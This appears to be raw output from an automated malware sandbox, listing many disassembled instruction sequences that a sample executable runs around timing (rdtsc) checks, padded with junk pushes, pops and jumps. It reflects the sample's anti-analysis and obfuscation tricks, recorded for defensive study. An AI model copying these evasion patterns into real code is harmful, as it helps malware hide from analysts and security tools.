Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8850E1 second address: 8850F3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FCBACB2D118h 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007FCBACB2D116h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8850F3 second address: 8850F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8850F7 second address: 885103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 885103 second address: 88513E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jl 00007FCBAD522AA6h 0x0000000c pop edx 0x0000000d jmp 00007FCBAD522AB7h 0x00000012 pushad 0x00000013 jmp 00007FCBAD522AACh 0x00000018 ja 00007FCBAD522AA6h 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 88F609 second address: 88F60D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 891AB9 second address: 891ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 891ABD second address: 891AC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 891AC1 second address: 891AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 891AC7 second address: 891ACD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 891ACD second address: 891AEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pop eax 0x0000000b jns 00007FCBAD522AA6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8917E4 second address: 8917E9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 89B541 second address: 89B545 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 89FF68 second address: 89FF74 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jc 00007FCBACB2D116h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 89FF74 second address: 89FFB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FCBAD522AAAh 0x00000010 jmp 00007FCBAD522AB5h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 89FFB2 second address: 89FFB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 89FFB8 second address: 89FFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8A6C0F second address: 8A6C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8A6C15 second address: 8A6C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8A6AAA second address: 8A6AAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8A6AAE second address: 8A6AE2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB4h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007FCBAD522AB6h 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8AC4AC second address: 8AC4C0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCBACB2D116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jnl 00007FCBACB2D116h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8AC4C0 second address: 8AC4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8AC4C4 second address: 8AC4FF instructions: 0x00000000 rdtsc 0x00000002 jl 00007FCBACB2D116h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FCBACB2D129h 0x0000000f push ebx 0x00000010 push esi 0x00000011 pop esi 0x00000012 pop ebx 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 pushad 0x00000017 popad 0x00000018 jmp 00007FCBACB2D11Dh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8AC4FF second address: 8AC50F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FCBAD522AA8h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8AC50F second address: 8AC515 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8AC654 second address: 8AC658 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8ACA67 second address: 8ACA6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8ACA6D second address: 8ACA79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8ACF18 second address: 8ACF1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8ACF1D second address: 8ACF31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007FCBAD522AA6h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8BE64E second address: 8BE674 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FCBACB2D11Fh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FCBACB2D11Ch 0x00000012 push ebx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8BE674 second address: 8BE679 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8BE679 second address: 8BE682 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8C1BD6 second address: 8C1BDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8C1BDE second address: 8C1BE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8C1BE2 second address: 8C1BE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8BBF3A second address: 8BBF58 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FCBACB2D11Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e js 00007FCBACB2D151h 0x00000014 push eax 0x00000015 push edx 0x00000016 je 00007FCBACB2D116h 0x0000001c push edi 0x0000001d pop edi 0x0000001e rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4AC4 second address: 8E4AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jo 00007FCBAD522AAEh 0x0000000f push ebx 0x00000010 pop ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4AD7 second address: 8E4ADB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4ADB second address: 8E4AF5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AAEh 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FCBAD522AA6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4AF5 second address: 8E4AF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4AF9 second address: 8E4B16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AB9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E39A3 second address: 8E39A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E39A7 second address: 8E39AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E39AD second address: 8E39C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FCBACB2D122h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E39C9 second address: 8E39CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E39CD second address: 8E39DD instructions: 0x00000000 rdtsc 0x00000002 je 00007FCBACB2D116h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E39DD second address: 8E39F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FCBAD522AB7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E3CA8 second address: 8E3CB4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E3CB4 second address: 8E3CB8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E3E1F second address: 8E3E23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4392 second address: 8E4396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4660 second address: 8E467F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FCBACB2D128h 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E467F second address: 8E4699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push esi 0x0000000c pop esi 0x0000000d ja 00007FCBAD522AA6h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4699 second address: 8E469D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E469D second address: 8E46B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCBAD522AB4h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8E4805 second address: 8E4822 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FCBACB2D127h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8EA8C2 second address: 8EA8C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8EC367 second address: 8EC373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8EC373 second address: 8EC378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8EC378 second address: 8EC3B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FCBACB2D124h 0x00000012 jno 00007FCBACB2D116h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FCBACB2D120h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 8EC3B8 second address: 8EC3BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 80D2F7 second address: 80D2FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F2044B second address: 4F20450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F20450 second address: 4F20456 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F20456 second address: 4F2045A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F2045A second address: 4F2045E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F2045E second address: 4F204CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b mov ax, 7527h 0x0000000f pushfd 0x00000010 jmp 00007FCBAD522AACh 0x00000015 jmp 00007FCBAD522AB5h 0x0000001a popfd 0x0000001b popad 0x0000001c mov edx, dword ptr [ebp+0Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 mov ebx, 0E98871Eh 0x00000027 pushfd 0x00000028 jmp 00007FCBAD522AAFh 0x0000002d sub cx, F3CEh 0x00000032 jmp 00007FCBAD522AB9h 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F204CC second address: 4F204D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F204D2 second address: 4F204D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F20509 second address: 4F20524 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D127h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F20524 second address: 4F2052A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F405FD second address: 4F40635 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D127h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b movzx ecx, bx 0x0000000e mov esi, edi 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 mov edi, ecx 0x00000015 movzx esi, di 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FCBACB2D11Ah 0x00000021 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40635 second address: 4F4063B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4063B second address: 4F4063F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4063F second address: 4F4065F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AADh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d pushad 0x0000000e mov di, ax 0x00000011 push eax 0x00000012 push edx 0x00000013 mov esi, 5B848465h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4065F second address: 4F40676 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FCBACB2D11Dh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40676 second address: 4F406B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FCBAD522AB7h 0x00000009 jmp 00007FCBAD522AB3h 0x0000000e popfd 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F406B2 second address: 4F406C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F406C0 second address: 4F406D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 014F76E4h 0x00000008 movsx edi, cx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F406D5 second address: 4F406D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F406D9 second address: 4F406DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F406DF second address: 4F406F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FCBACB2D11Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F406F2 second address: 4F4071E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov ecx, 26688D47h 0x0000000f mov edx, eax 0x00000011 popad 0x00000012 mov dword ptr [esp], esi 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007FCBAD522AB5h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4071E second address: 4F40724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40724 second address: 4F40728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F40728 second address: 4F4075B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea eax, dword ptr [ebp-04h] 0x0000000b jmp 00007FCBACB2D11Fh 0x00000010 nop 0x00000011 pushad 0x00000012 jmp 00007FCBACB2D124h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4075B second address: 4F4077D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dx, si 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FCBAD522AB6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4077D second address: 4F407B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBACB2D11Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b mov dx, ax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007FCBACB2D11Eh 0x00000015 adc ah, 00000078h 0x00000018 jmp 00007FCBACB2D11Bh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F407DB second address: 4F407E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F407E1 second address: 4F407E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\s31ydU1MpQ.exe	RDTSC instruction interceptor: First address: 4F4086E second address: 4F4087D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCBAD522AABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
